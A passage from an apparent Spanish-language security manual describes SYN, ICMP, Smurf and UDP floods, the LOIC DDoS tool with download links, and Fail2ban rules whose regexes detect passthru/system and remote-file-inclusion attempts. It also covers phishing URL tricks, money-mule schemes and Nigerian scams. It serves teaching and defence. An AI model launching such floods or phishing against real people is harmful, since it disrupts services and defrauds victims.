Estos intentos de conexión consumen recursos en el servidor y copan el número de conexiones que se pueden establecer, reduciendo la disponibilidad del servidor para responder peticiones legítimas de conexión.

SYN cookies provee un mecanismo de protección contra Inundación SYN, eliminando la reserva de recursos en el host destino, para una conexión en momento de su gestión inicial.

Inundación ICMP (ICMP Flood) Es una técnica DoS que pretende agotar el ancho de banda de la víctima. Consiste en enviar de forma continuada un número elevado de paquetes ICMP Echo request (ping) de tamaño considerable a la víctima, de forma que esta ha de responder con paquetes ICMP Echo reply (pong) lo que supone una sobrecarga tanto en la red como en el sistema de la víctima. Dependiendo de la relación entre capacidad de procesamiento de la víctima y el atacante, el grado de sobrecarga varía, es decir, si un atacante tiene una capacidad mucho mayor, la víctima no puede manejar el tráfico generado.

SMURF Existe una variante a ICMP Flood denominado Ataque Smurf que amplifica considerablemente los efectos de un ataque ICMP.

Existen tres partes en un Ataque Smurf: El atacante, el intermediario y la víctima (comprobaremos que el intermediario también puede ser víctima).

En el ataque Smurf, el atacante dirige paquetes ICMP tipo "echo request" (ping) a una dirección IP de broadcast, usando como dirección IP origen, la dirección de la víctima

- 41 -

Page 42: Seguridad

(Spoofing). Se espera que los equipos conectados respondan a la petición, usando Echo reply, a la máquina origen (víctima).

Se dice que el efecto es amplificado, debido a que la cantidad de respuestas obtenidas, corresponde a la cantidad de equipos en la red que puedan responder. Todas estas respuestas son dirigidas a la víctima intentando colapsar sus recursos de red.

Como se dijo anteriormente, los intermediarios también sufren los mismos problemas que las propias víctimas.

Inundación UDP (UDP Flood) Básicamente este ataque consiste en generar grandes cantidades de paquetes UDP contra la víctima elegida. Debido a la naturaleza sin conexión del protocolo UDP, este tipo de ataques suele venir acompañado de IP spoofing.

Es usual dirigir este ataque contra máquinas que ejecutan el servicio Echo, de forma que se generan mensajes Echo de un elevado tamaño.

- 42 -

Page 43: Seguridad

Low Orbit Ion Cannon (LOIC)Low Orbit Ion Cannon (abreviado LOIC) es una aplicación diseñada para realizar un ataque de denegación de servicio durante el proyecto Chanology, desarrollada por «praetox» usando el lenguaje de programación C# (Existe también un fork en C++ y Qt llamado LOIQ). La aplicación realiza un ataque de denegación de servicio del objetivo enviando una gran cantidad de paquetes TCP, paquetes UDP o peticiones HTTP con objeto de determinar cuál es la cantidad de peticiones por segundo que puede resolver la red objetivo antes de dejar de funcionar.

IRCLOIC El desarrollador «NewEraCracker» actualizó LOIC para su uso en la Operation Payback, arreglando algunos bugs y añadiendo algunas habilidades nuevas al programa.1

Desde la versión 1.1.1.3, LOIC incorpora la posibilidad de que el usuario delegue voluntariamente el control de la aplicación LOIC al operador de un canal IRC, que puede controlar de esta manera un ataque coordinado empleando todos los clientes conectados a dicho canal. Esta característica se denomina comúnmente como inteligencia de enjambre (Hive Mind, en inglés) y permite la organización rápida de una botnet formada por voluntarios. La versión con control remoto por IRC se denomina habitualmente IRCLOIC.2

Esta actualización funciona en Windows XP y posteriores, necesitando Microsoft .NET Framework 3.5 Service Pack 1. También funciona en sistemas Linux con los paquetes Mono o Wine.

- 43 -

Page 44: Seguridad

En las últimas versiones se ha añadido una opción para iniciar el programa oculto como un servicio de Windows. En todas las versiones de LOIC es bastante fácil conocer la dirección IP del atacante si éste no está protegido por una red Peer-to-peer anónimo.

LOIQ LOIQ es una implementación de la funcionalidades de LOIC empleando el lenguaje C++ y la librería Qt 4, lo cual permite compilarlo en cualquier plataforma que disponga de la librería Qt (Linux, BSD, Unix, Windows, Windows CE, Mac OS X, etc...)

JSLOIC JSLOIC es una implementación de algunas de las funcionalidades de LOIC realizadas en lenguaje JavaScript, lo cual permite ejecutarlo desde un navegador web sin necesidad de instalar ningún software en el ordenador. Esta implementación realiza test limitados a peticiones HTTP, no permitiendo el envío de paquetes TCP y UDP, ni delegar el control para su uso en modo colectivo.

Podrán descargar las versiones de LOIC desde los siguientes enlaces: • http://sourceforge.net/projects/loic/ • http://github.com/NewEraCracker/LOIC/downloads • http://sourceforge.net/projects/loiq/

- 44 -

Page 45: Seguridad

PREVINIENDO UN DoS

(D)DoS Deflate(D)DoS Deflate es un script muy sencillo diseñado para combatir el proceso de bloqueo de las direcciones IP de nuestros atacantes. Este script utiliza el comando netstat para crear una lista de las direcciones IP conectadas al servidor dependiendo de la cantidad de conexiones que tenga en un determinado momento.

El comando es:

netstat -ntu | awk '{print $5}' | cut -d: -f1 | sort | uniq -c | sort -n

En el sitio oficial encontraŕan los scripts actualizados para descargarlos y ejecutarlos.

Fail2ban Fail2Ban es un pequeño script programado en python que se encarga de observar los logs en busca de “patrones” sospechosos, y es capaz de tomar medidas para bloquear a los atacantes ya sea con iptables o lanzando un comando de nuestra elección. El directorio de configuracion de fail2ban es /etc/fail2ban/ allí encontraremos 2 directorios: action.d y filter.d. En action.d, encontraremos las acciones que fail2ban realizará cuando alguno de nuestros filtros “detecte” alguna IP haciendo maldades. Estas acciones pasan por filtrado con iptables, envio de mails de aviso etc, mientras que en filter.d, tenemos todos los filtros que utilizaremos a modo de “trampa” para cazar a nuestros atacantes. En nuestro caso, vamos a configurar fail2ban en un servidor web, al que ultimamente se le ha detectado un alto numero de intentos de ataque de inyección, tanto SQL como XSS, y como mínimo pretendemos bloquear los accesos que hemos detectado en los logs. Para eso tendremos que editar el archivo jail.conf del directorio /etc/fail2ban/ en este archivo tendremos todas las trampas o “jails” y sus correspondientes acciones, acompañados de unos parametros por defecto, de entrada, es recomendable que agreguemos en la linea “ignoreip” nuestra ip local, o la de algun servidor con el que podamos conectar en caso de que por error nos bloqueemos nosotros mismos. ignoreip = 127.0.0.1 <nuestra ip>

Una vez hecho esto, revisamos todas las entradas de este archivo, la primera entrada que encontramos es la de ssh, esta “jail” en nuestro caso es asi: [ssh-iptables] enabled = true filter = sshd action = iptables[name=SSH, port=ssh, protocol=tcp] sendmail-whois[name=SSH, dest=root, [email protected]] logpath = /var/log/secure maxretry = 5

- 45 -

Page 46: Seguridad

Tenemos por orden los siguientes campos: • Si está habilitado • El nombre • La accion a ejecutar (una por linea), en este caso filtramos con el “action” iptables el

puerto ssh y mandamos un mail con el action sendmail-whois a [email protected] • Indicamos el archivo de logs que leera el filtro /var/log/secure es donde logea SSH. • Y le indicamos el numero de intentos con el que ejecutamos la accion (en este caso

5)

Nosotros no tenemos acceso SSH al exterior en nuestras máquinas de modo que vamos a dejar “enabled=false“, y procederemos a configurar las siguientes “jails” que si que son interesantes para el servicio web: [apache-tcpwrapper] enabled = true filter = apache-auth action = hostsdeny logpath = /var/www/vhosts/*/statistics/logs/error_log maxretry = 6 [apache-badbots] enabled = true filter = apache-badbots action = iptables-multiport[name=BadBots, port="http,https"] sendmail-buffered[name=BadBots, lines=5, [email protected]] logpath = /var/www/vhosts/*/statistics/logs/access_log bantime = 172800 maxretry = 1 # Para prevenir ataques de inyeccion de codigo [php-url-fopen] enabled = true port = http,https filter = php-url-fopen logpath = /var/www/vhosts/*/statistics/logs/access_log maxretry = 1 # Evitamos ataques de ips que accedan a urls que contengan passthru o system o similares [apache-hacks] enabled = true port = http,https filter = apache-hacks action = iptables-multiport[name=AtaqueApache, port="http,https"] sendmail-buffered[name=AtaqueApache, lines=5, [email protected]] logpath = /var/www/vhosts/*/statistics/logs/access_log maxretry = 3

Lo realmente importante aqui, es cambiar las lineas logpath, ya que nuestro servidor es un plesk la ruta de los logs es “/var/www/vhosts/*/statistics/logs/access_log” o “/var/www/vhosts/*/statistics/logs/error_log” el resto, son cambios en el mail de destino al que mandaremos el mail, y los nombres de los filtros a aplicar, nosotros aplicamos estos:

• apache-tcpwrapper: Bloquea con el archivo /etc/hosts.deny los hosts que se

- 46 -

Page 47: Seguridad

intentan conectar a dominios protegidos con contraseña (estos fallos de autenticación aparecen en el error_log)

• apache-badbots : Bloquea por iptables los hosts que se conectan haciendo uso de un “User Agent” sospechoso, y nos envia un mail para avisarnos

• php-url-fopen : Bloqueamos los hosts, que intentan una inyeccion de código del tipo: GET /index.php?n=http://www.dominio.com/archivo.htm

• apache-hacks : Bloquea los hosts que acceden a urls sospechosas, haciendo un SCAN o directamente acceden a urls intentando inyectar llamadas al sistema desde php (system, passthru…) esta regla se va rellenando con las expresiones que vamos encontrando en los logs, al final del post, adjuntamos el contenido del filtro en nuestro caso.

En el ultimo caso, hemos creado un archivo apache-hacks.conf en el directorio filters.d, para empezar podemos agregar entradas como estas: failregex = ^<HOST> -.*”(GET|POST).*\?.*passthru.* HTTP\/.*$ ^<HOST> -.*”(GET|POST).*\?.*system.* HTTP\/.*$

Y mas adelante agregar nuevas reglas.

Con esta serie de utilidades podremos evitar algunos de los intentos de ataque más comunes, pero no podemos ni por un momento pensar que con solo aplicarlas estaremos a salvo.

- 47 -

Page 48: Seguridad

INGENIERIA SOCIAL

La ingeniería social es la práctica de obtener información confidencial a través de la manipulación de los usuarios.Es una técnica que pueden usar ciertas personas, tales como investigadores privados, criminales, o crackers, para obtener información, acceso o privilegios en sistemas que les permitan realizar algún acto que perjudique o exponga a la persona u organismo comprometido.El principio que sustenta la ingeniería social es el que en cualquier sistema "los usuarios son el eslabón más débil de la seguridad de los sistemas". En la práctica, un ingeniero social usará comúnmente el teléfono o internet para engañar a la gente, fingiendo ser, por ejemplo, un empleado de algún banco o alguna otra empresa, un compañero de trabajo, un técnico o un cliente.

Vía sitios web o por medio de correos electrónicos se usa, adicionalmente, el envío de solicitudes de renovación de permisos de acceso a páginas web o memos falsos que solicitan respuestas e incluso las famosas "cadenas", llevando así a revelar información sensible, o a violar las políticas de seguridad típicas. Con este método, los ingenieros sociales aprovechan la tendencia natural de la gente a reaccionar de manera predecible en ciertas situaciones, por ejemplo proporcionando detalles financieros a un aparente funcionario de un banco, en lugar de tener que encontrar agujeros de seguridad en los sistemas informáticos.

Quizá el ataque más simple pero muy efectivo sea engañar a un usuario llevándolo a pensar que un administrador del sistema esta solicitandole

una contraseña para varios propósitos legítimos.

Los usuarios de sistemas de Internet frecuentemente reciben mensajes que solicitan contraseñas o información de tarjeta de crédito, con el motivo de "crear una cuenta", "reactivar una configuración", u otra operación; a este tipo de ataques se los llama phishing (pesca).

Los usuarios de estos sistemas deberían ser advertidos temprana y frecuentemente para que no divulguen contraseñas u otra información sensible a personas que dicen ser administradores. En realidad, los administradores de sistemas informáticos raramente (o nunca) necesitan saber la contraseña de los usuarios para llevar a cabo sus tareas. Sin embargo incluso este tipo de ataque podría no ser necesario — en una encuesta realizada por la empresa Boixnet, el 90% de los empleados de oficina de la estación Waterloo de Londres revelaron sus contraseñas a cambio de un bolígrafo barato.

Otro ejemplo contemporáneo de un ataque de ingeniería social es el uso de archivos adjuntos en e-mails, ofreciendo, por ejemplo, fotos "íntimas" de alguna persona famosa o algún programa "gratis" (a menudo aparentemente provenientes de alguna persona conocida) pero que ejecutan código malicioso (por ejemplo, usar la máquina de la víctima para enviar cantidades masivas de spam). Ahora, después de que los primeros e-mails

- 48 -

Page 49: Seguridad

maliciosos llevaran a los proveedores de software a deshabilitar la ejecución automática de archivos adjuntos, los usuarios deben activar esos archivos de forma explícita para que ocurra una acción maliciosa. Muchos usuarios, sin embargo, abren casi ciegamente cualquier archivo adjunto recibido, concretando de esta forma el ataque.

La ingeniería social también se aplica al acto de manipulación cara a cara para obtener acceso a los sistemas. Otro ejemplo es el conocimiento sobre la víctima, a través de la introducción de contraseñas habituales, lógicas típicas o conociendo su pasado y presente; respondiendo a la pregunta: ¿Qué contraseña introduciría yo si fuese la víctima?

La principal defensa contra la ingeniería social es capacitar y entrenar a los usuarios de los sistemas, en la implementación de políticas de

seguridad y asegurarse de que estas sean seguidas en todo momento.

Uno de los ingenieros sociales más famosos de los últimos tiempos es Kevin Mitnick a quien pueden seguir en su cuenta de Twitter https://twitter.com/#!/kevinmitnick. Según su opinión, la ingeniería social se basa en estos cuatro principios:

1. Todos queremos ayudar.

2. El primer movimiento es siempre de confianza hacia el otro.

3. No nos gusta decir No.

4. A todos nos gusta que nos alaben.

PhishingEl término phishing proviene de la palabra inglesa "fishing" (pesca), haciendo alusión al intento de hacer que los usuarios "piquen en el anzuelo". A quien lo practica se le llama phisher. También se dice que el término "phishing" es la contracción de "password harvesting fishing" (cosecha y pesca de contraseñas), aunque esto probablemente es un acrónimo retroactivo, dado que la escritura 'ph es comúnmente utilizada por hackers para sustituir la f, como raíz de la antigua forma de hacking telefónico conocida como phreaking.

La primera mención del término phishing data de enero de 1996. Se dio en el grupo de noticias de hackers alt.2600, aunque es posible que el término ya hubiera aparecido anteriormente en la edición impresa del boletín de noticias hacker "2600 Magazine". El término phishing fue adoptado por quienes intentaban "pescar" cuentas de miembros de AOL.

Phishing en AOL Quienes comenzaron a hacer phishing en AOL durante los años 1990 solían obtener cuentas para usar los servicios de esa compañía a través de números de tarjetas de crédito válidos, generados utilizando algoritmos para tal efecto. Estas cuentas de acceso a AOL podían durar semanas e incluso meses. En 1995 AOL tomó medidas para prevenir este uso

- 49 -

Page 50: Seguridad

fraudulento de sus servicios, de modo que los crackers recurrieron al phishing para obtener cuentas legítimas en AOL.

El phishing en AOL estaba estrechamente relacionado con la comunidad de warez que intercambiaba software falsificado. Un cracker se hacía pasar como un empleado de AOL y enviaba un mensaje instantáneo a una víctima potencial. Para poder engañar a la víctima de modo que diera información confidencial, el mensaje podía contener textos como "verificando cuenta" o "confirmando información de factura". Una vez el usuario enviaba su contraseña, el atacante podía tener acceso a la cuenta de la víctima y utilizarla para varios propósitos criminales, incluyendo el spam. Tanto el phishing como el warezing en AOL requerían generalmente el uso de programas escritos por crackers, como el AOLHell.

En 1997 AOL reforzó su política respecto al phishing y los warez fueron terminantemente expulsados de los servidores de AOL. Durante ese tiempo el phishing era tan frecuente en AOL que decidieron añadir en su sistema de mensajería instantánea, una línea de texto que indicaba: "no one working at AOL will ask for your password or billing information" ("nadie que trabaje en AOL le pedirá a usted su contraseña o información de facturación").

Simultáneamente AOL desarrolló un sistema que desactivaba de forma automática una cuenta involucrada en phishing, normalmente antes de que la víctima pudiera responder. Los phishers se trasladaron de forma temporal al sistema de mensajería instantáneo de AOL (AIM), debido a que no podían ser expulsados del servidor de AIM. El cierre obligado de la escena de warez en AOL causó que muchos phishers dejaran el servicio, y en consecuencia la práctica.9

Intentos recientes de phishing Los intentos más recientes de phishing han tomado como objetivo a clientes de bancos y servicios de pago en línea. Aunque el ejemplo que se muestra en la primera imagen es enviado por phishers de forma indiscriminada con la esperanza de encontrar a un cliente de dicho banco o servicio, estudios recientes muestran que los phishers en un principio son capaces de establecer con qué banco una posible víctima tiene relación, y de ese modo enviar un e-mail, falseado apropiadamente, a la posible víctima.

- 50 -

Page 51: Seguridad

En términos generales, esta variante hacia objetivos específicos en el phishing se ha denominado spear phishing (literalmente pesca con arpón). Los sitios de Internet con fines sociales también se han convertido en objetivos para los phishers, dado que mucha de la información provista en estos sitios puede ser utilizada en el robo de identidad. Algunos experimentos han otorgado una tasa de éxito de un 90% en ataques phishing en redes sociales. A finales de 2006 un gusano informático se apropió de algunas páginas del sitio web MySpace logrando redireccionar los enlaces de modo que apuntaran a una página web diseñada para robar información de ingreso de los usuarios.

Técnicas de phishing La mayoría de los métodos de phishing utilizan alguna forma técnica de engaño en el diseño para mostrar que un enlace en un correo electrónico parezca una copia de la organización por la cual se hace pasar el impostor. URLs mal escritas o el uso de subdominios son trucos comúnmente usados por phishers, como el ejemplo en esta URL, http://www.nombredetubanco.com/ejemplo.

Otro ejemplo para disfrazar enlaces es el de utilizar direcciones que contengan el carácter arroba: @, para posteriormente preguntar el

nombre de usuario y contraseña (contrario a los estándares).

Por ejemplo, el enlace http://[email protected]/ puede engañar a un observador casual y hacerlo creer que el enlace va a abrir en la página de www.google.com, cuando realmente el enlace envía al navegador a la página de members.tripod.com (y al intentar entrar con el nombre de usuario de www.google.com, si

- 51 -

Page 52: Seguridad

no existe tal usuario, la página abrirá normalmente). Este método ha sido erradicado desde entonces en los navegadores de Mozilla e Internet Explorer. Otros intentos de phishing utilizan comandos en JavaScripts para alterar la barra de direcciones. Esto se hace poniendo una imagen de la URL de la entidad legítima sobre la barra de direcciones, o cerrando la barra de direcciones original y abriendo una nueva que contiene la URL ilegítima.

En otro método popular de phishing, el atacante utiliza contra la víctima el propio código de programa del banco o servicio por el cual se hace pasar. Este tipo de ataque resulta particularmente problemático, ya que dirige al usuario a iniciar sesión en la propia página del banco o servicio, donde la URL y los certificados de seguridad parecen correctos. En este método de ataque (conocido como Cross Site Scripting) los usuarios reciben un mensaje diciendo que tienen que "verificar" sus cuentas, seguido por un enlace que parece la página web auténtica; en realidad, el enlace está modificado para realizar este ataque, además es muy difícil de detectar si no se tienen los conocimientos necesarios.

Otro problema con las URL es el relacionado con el manejo de “nombres de dominios internacionalizados” (IDN) en los navegadores, puesto que puede ser que direcciones que resulten idénticas a la vista puedan conducir a diferentes sitios (por ejemplo dominio.com se ve similar a dοminiο.com, aunque en el segundo las letras "o" hayan sido reemplazadas por la correspondiente letra griega ómicron, "ο"). Al usar esta técnica es posible dirigir a los usuarios a páginas web con malas intenciones. A pesar de la publicidad que se ha dado acerca de este defecto, conocido como IDN spoofing o ataques homógrafos, ningún ataque conocido de phishing lo ha utilizado.

Lavado de dinero producto del phishing Actualmente empresas ficticias intentan reclutar teletrabajadores por medio de e-mails, chats, irc y otros medios, ofreciéndoles no sólo trabajar desde casa sino también otros jugosos beneficios.

Aquellas personas que aceptan la oferta se convierten automáticamente en víctimas que incurren en un grave delito sin saberlo: el blanqueo de dinero obtenido a través del acto fraudulento de phishing.

Para que una persona pueda darse de alta con esta clase de empresas debe rellenar un formulario en el cual indicará, entre otros datos, su número de cuenta bancaria. Esto tiene la finalidad de ingresar en la cuenta del trabajador-víctima el dinero procedente de estafas bancarias realizadas por el método de phishing. Una vez contratada, la víctima se convierte automáticamente en lo que se conoce vulgarmente como mulero.

Con cada acto fraudulento de phishing la víctima recibe el cuantioso ingreso en su cuenta bancaria y la empresa le notifica del hecho. Una vez recibido este ingreso, la víctima se quedará un porcentaje del dinero total, pudiendo rondar el 10%-20%, como comisión de trabajo y el resto lo reenviará a través de sistemas de envío de dinero a cuentas indicadas por la seudo-empresa.

Dado el desconocimiento de la víctima (muchas veces motivado por la necesidad económica) ésta se ve involucrada en un acto de estafa importante, pudiendo ser requerido

- 52 -

Page 53: Seguridad

por la justicia previa denuncia de los bancos. Estas denuncias se suelen resolver con la imposición de devolver todo el dinero sustraído a la víctima, obviando que este únicamente recibió una comisión.

Fases del Phishing en el lavado de dinero virtualEn la primera fase, la red de estafadores se nutre de usuarios de chat, foros o correos electrónicos, a través de mensajes de ofertas de empleo con una gran rentabilidad o disposición de dinero (hoax o scam). En el caso de que caigan en la trampa, los presuntos intermediarios de la estafa, deben rellenar determinados campos, tales como: Datos personales y número de cuenta bancaria.

Se comete el phishing, ya sea el envío global de millones de correos electrónicos bajo la apariencia de entidades bancarias, solicitando las claves de la cuenta bancaria (PHISHING) o con ataques específicos.

El tercer paso consiste en que los estafadores comienzan a retirar sumas importantes de dinero, las cuales son transmitidas a las cuentas de los intermediarios (muleros).

Los intermediarios realizan el traspaso a las cuentas de los estafadores, llevándose éstos las cantidades de dinero y aquéllos (los intermediarios) el porcentaje de la comisión.

¿Cómo evitamos el phishing?Una estrategia para combatir el phishing adoptada por algunas empresas es la de entrenar a los empleados de modo que puedan reconocer posibles ataques phishing. Una nueva táctica de phishing donde se envían correos electrónicos de tipo phishing a una compañía determinada, conocido como spear phishing, ha motivado al entrenamiento de usuarios en varias localidades, incluyendo la Academia Militar de West Point en los Estados Unidos. En un experimento realizado en junio del 2004 con spear phishing, el 80% de los 500 cadetes de West Point a los que se les envió un e-mail falso fueron engañados y procedieron a dar información personal.

Un usuario al que se le contacta mediante un mensaje electrónico y se le hace mención sobre la necesidad de "verificar" una cuenta electrónica puede o bien contactar con la compañía que supuestamente le envía el mensaje, o puede escribir la dirección web de un sitio web seguro en la barra de direcciones de su navegador para evitar usar el enlace que aparece en el mensaje sospechoso de phishing. Muchas compañías, incluyendo eBay y PayPal, siempre se dirigen a sus clientes por su nombre de usuario en los correos electrónicos, de manera que si un correo electrónico se dirige al usuario de una manera genérica como "Querido miembro de eBay" es probable que se trate de un intento de phishing.

Del lado técnico hay varios programas informáticos anti-phishing disponibles. La mayoría de estos programas trabajan identificando contenidos phishing en sitios web y correos electrónicos; algunos programas anti-phishing pueden por ejemplo, integrarse con los navegadores web y clientes de correo electrónico como una barra de herramientas que muestra el dominio real del sitio visitado. Los filtros de spam también ayudan a proteger a

- 53 -

Page 54: Seguridad

los usuarios de los phishers, ya que reducen el número de correos electrónicos relacionados con el phishing recibidos por el usuario.

Muchas organizaciones han introducido la característica denominada pregunta secreta, en la que se pregunta información que sólo debe ser conocida por el usuario y la organización.

En los Estados Unidos, el senador Patrick Leahy introdujo el Acta Anti-Phishing de 2005 el 1 de marzo de 2005. Esta ley federal de anti-phishing establecía que aquellos criminales que crearan páginas web falsas o enviaran spam a cuentas de e-mail con la intención de estafar a los usuarios podrían recibir una multa de hasta $250,000 USD y penas de cárcel por un término de hasta cinco años.

La Estafa nigeriana La estafa nigeriana, timo nigeriano o timo 419, es un fraude, un engaño. Se lleva a cabo principalmente por correo electrónico no solicitado. Adquiere su nombre del número de artículo del código penal de Nigeria que viola, ya que buena parte de estas estafas provienen de ese país.

Esta estafa consiste en ilusionar a la víctima con una fortuna inexistente y persuadirla para que pague una suma de dinero por adelantado, como condición para acceder a la supuesta fortuna. Las sumas solicitadas son bastante elevadas, pero insignificantes comparadas con la fortuna que las víctimas esperan recibir.

Variantes Existen numerosas variantes de la estafa. Las más comunes son una herencia vacante que la víctima adquirirá, una cuenta bancaria abandonada, una lotería que la víctima ha ganado, un contrato de obra pública o simplemente una gran fortuna que alguien desea donar generosamente antes de morir. Algunos sostienen que la excusa de la lotería es la más común de todas.

Por ejemplo, la víctima podría recibir un mensaje del tipo "Soy una persona muy rica que reside en Nigeria y necesito trasladar una suma importante al extranjero con discreción. ¿Sería posible utilizar su cuenta bancaria?". Las sumas normalmente suelen estar cerca de decenas de millones de dólares. A la víctima se le promete un determinado porcentaje, como el 10 o el 20 por ciento.

El trato propuesto se suele presentar como un delito de guante blanco inocuo con el fin de disuadir a las víctimas -los supuestos inversionistas- de llamar a las autoridades. Los timadores enviarán algunos documentos con sellos y firmas con aspecto oficial, normalmente archivos gráficos adjuntados a mensajes de correo electrónico, a quien acepte la oferta.

A medida que prosiga el intercambio, se pide a la víctima que envíe dinero, con la excusa de supuestos honorarios, gastos, sobornos, impuestos o comisiones. Se va creando una sucesión de excusas de todo tipo, pero siempre se mantiene la promesa del traspaso de una cantidad millonaria. A menudo se ejerce presión psicológica, por ejemplo alegando que la parte nigeriana tendría que vender todas sus pertenencias y pedir un préstamo para poder

- 54 -

Page 55: Seguridad

pagar algunos gastos y sobornos. A veces, se invita a la víctima a viajar a determinados países africanos, entre ellos Nigeria y Sudáfrica. Esto es especialmente peligroso, porque en ocasiones el supuesto inversor puede acabar secuestrado o incluso asesinado por el timador.

En cualquier caso, la transferencia nunca llega, pues las millonarias sumas de dinero jamás han existido.

Las operaciones están organizadas con gran profesionalidad en países como Nigeria, Sierra Leona, Costa de Marfil, Ghana, Togo, Benín y Sudáfrica. Cuentan con oficinas, números de fax, teléfonos celulares y a veces con sitios fraudulentos en internet.

Últimamente, gran cantidad de estafadores provenientes del África Occidental se han establecido en diversas ciudades europeas, especialmente Ámsterdam, Londres y Madrid, etc, como también en Dubái. A menudo se persuade a las víctimas a viajar allí para cobrar sus millones.

Tipos comunes de timo nigeriano

La clásica estafa nigeriana o africana Una supuesta autoridad gubernamental, bancaria o petrolera africana solicita al destinatario los datos de su cuenta bancaria con el objeto de transferir a ella grandes sumas de dinero que desean sacar del país, a cambio de una sustanciosa comisión.

En caso de que la víctima acepte y tras una serie de contactos por correo electrónico, fax o teléfono, se le solicita que envíe dinero para hacer frente a gastos inesperados o sobornos. Por supuesto ni las cantidades adelantadas serán nunca restituidas, ni se recibirán jamás los beneficios prometidos.

Animales regalados Se anuncian en páginas de venta y regalo de animales. Normalmente ofrecen alguna raza de animal especialmente valorada como por ejemplo "Regalo Yorkshire". Son anuncios mal redactados, con un castellano absolutamente deficiente que seguramente proviene de un traductor automático de nuestro idioma. Cuentan que tienen que mudarse y necesitan regalar sus perritos o cualquier otro animal. Cuando algún interesado contesta que acepta, dicen que hay que enviarles el dinero para que puedan enviar por avión desde allí el animal. Suelen mandar información falsa haciéndose pasar por el aeropuerto para "informar" de cómo envían los cachorros y a qué se deben los gastos. Si se llega más adelante y se paga esa cantidad (que suele ser pequeña para que la gente se lo plantee), mandan mensajes de otros aeropuertos a los que el cachorro supuestamente ha sido enviado por error, solicitando un nuevo envío de dinero para poder completar la supuesta entrega.

- 55 -

Page 56: Seguridad

El capitán militar en Irak Contestan a los anuncios de venta de los que sea (terrenos, casas...) solicitando información. Al obtener respuesta, envían un correo electrónico alegando ser militares que necesitan invertir un dinero que han obtenido del crudo, pero que como militares que son lo tienen que entregar a alguien en quien puedan confiar, ya que es ilegal que se lo queden a título personal y para ello solicitan los datos de la víctima de la estafa para enviar supuestamente el dinero en concepto de compra de la propiedad en venta. Como en los otros casos, en algún momento los timadores solicitarán a la víctima que pague algún tipo de gasto.

El timo de la lotería El mensaje anuncia al destinatario que ha obtenido un premio de la lotería, aun cuando no haya participado en sorteo alguno.

La mecánica luego del mensaje es similar al caso anterior: tras sucesivos contactos se solicita un desembolso para cubrir los gastos ocasionados por algún trámite. La gran difusión de este fenómeno en España ha provocado que el Organismo Nacional de Loterías y Apuestas del Estado haya publicado un aviso al respecto en su página web.

El Tío de América Los supuestos albaceas de un desconocido y adinerado pariente anuncian su fallecimiento y notifican al destinatario su inclusión entre los beneficiarios del testamento. En este caso a menudo se utilizan técnicas de ingeniería social, por ejemplo haciendo coincidir el apellido del difunto con el del destinatario. En ocasiones se sugiere con ambigüedad que el destinatario se haga pasar por un pariente del difunto, para evitar perder la herencia, que será repartida entre el abogado/albacea y la víctima.

Una variante de esta estafa es la "herencia en vida", en que alguien supuestamente aquejado de una enfermedad terminal, sin familia, contacta a la víctima con el fin de darle su dinero para que realice obras de caridad, ayudando a los pobres o desamparados.

Como en los otros casos, en algún momento los timadores solicitarán a la víctima que pague algún tipo de gasto.

El prisionero español o peruano Este timo tiene un origen muy anterior a los previos, a comienzos del siglo XX.

Uno de los timadores, el confidente, contacta con la víctima para explicarle que está en contacto con una persona muy famosa e influyente que está encerrada en una cárcel española (o según versiones más modernas, de algún país africano) bajo una identidad falsa. No puede revelar su identidad para obtener su libertad, ya que esa acción tendría repercusiones muy graves, y le ha pedido al confidente que consiga suficiente dinero para pagar su defensa o fianza. El confidente ofrece a la víctima la oportunidad de aportar parte del dinero, a cambio de una recompensa extremadamente generosa cuando el prisionero

- 56 -

Page 57: Seguridad

salga libre.

Sin embargo, una vez entregado el dinero surgen complicaciones que necesitan de más dinero, hasta que la víctima ya no puede o quiere dar más. En ese momento se acaba el timo y el confidente desaparece.

La venta del teléfono móvil (celular) en eBay En este fraude, los timadores localizan a usuarios particulares de eBay que ofrezcan teléfonos móviles. Ofrecen una puja muy alta en el último momento, ganando así la subasta. Luego contactan al vendedor para explicarle que desean enviar el móvil a un supuesto hijo que trabaja como misionero en Nigeria, y que necesitan conocer la cuenta Paypal del vendedor para pagar (en vez de pagar directamente vía Paypal, a través de los enlaces proporcionados por eBay al final de cada subasta).

A continuación envían un mensaje con las cabeceras falsificadas para que parezca provenir de Paypal, en que se confirma que el pago se ha realizado. Cuando el vendedor intenta comprobar el pago desde el enlace en el mensaje, será dirigido a una web falsa, con la apariencia de ser de Paypal. En esta página se le explica que por seguridad, el pago será transferido a su cuenta solo cuando se realice el envío. Obviamente, si envía el móvil al comprador, nunca recibirá el dinero.

La compensación El mensaje informa a la víctima de que el Estado nigeriano le compensará por haber sido víctima de la "Estafa Nigeriana", aunque la potencial víctima no lo haya sido. Las sumas ofrecidas van desde US$850.000 a US$1.000.000.

La víctima debe contactar a un funcionario, quien le pedirá el depósito de una suma de alrededor de US $1.000 para asuntos burocráticos de la cobranza de la compensación.

El Nuevo Amor Es una de las más comunes. Consiste en que una supuesta mujer, generalmente nativa de Sudán o Nigeria , envía a un correo electrónico una solicitud de amistad y fotografías personales. Los nombres más usados del emisor son: Edith Kassala o Aline.

- 57 -

Page 58: Seguridad

HIJACKING

El termino “hijacking” significa secuestro en inglés y en el ámbito informático hace referencia a toda técnica ilegal que lleve consigo el adueñarse o robar algo (generalmente información) por parte de un atacante. Es por tanto un concepto muy abierto y que puede aplicarse a varios ámbitos, de esta manera podemos encontramos con el secuestro de conexiones de red, sesiones de terminal, servicios, modems y un largo etcétera en cuanto a servicios informáticos se refiere.

Algunos ejemplos de Hijacking• IP hijakers: secuestro de una conexión TCP/IP por ejemplo durante una sesión

Telnet permitiendo a un atacante inyectar comandos o realizar un DoS durante dicha sesión.

• Page hijacking: secuestro de página web. Hace referencia a las modificaciones que un atacante realiza sobre una página web, normalmente haciendo uso de algún bug de seguridad del servidor o de programación del sitio web, también es conocido como defacement o desfiguración.

• Reverse domain hijacking o Domain hijacking: secuestro de dominio• Session hijacking: secuestro de sesión• Browser hijacking: Se llama así al efecto de apropiación que realizan algunos

spyware sobre el navegador web lanzando popups, modificando la página de inicio, modificando la página de búsqueda predeterminada etc. Es utilizado por un tipo de software malware el cual altera la configuración interna de los navegadores de internet de un ordenador. El termino "secuestro" hace referencia a que éstas modificaciones se hacen sin el permiso y el conocimiento del usuario. Algunos de éstos son fáciles de eliminar del sistema, mientras que otros son extremadamente complicados de eliminar y revertir sus cambios.

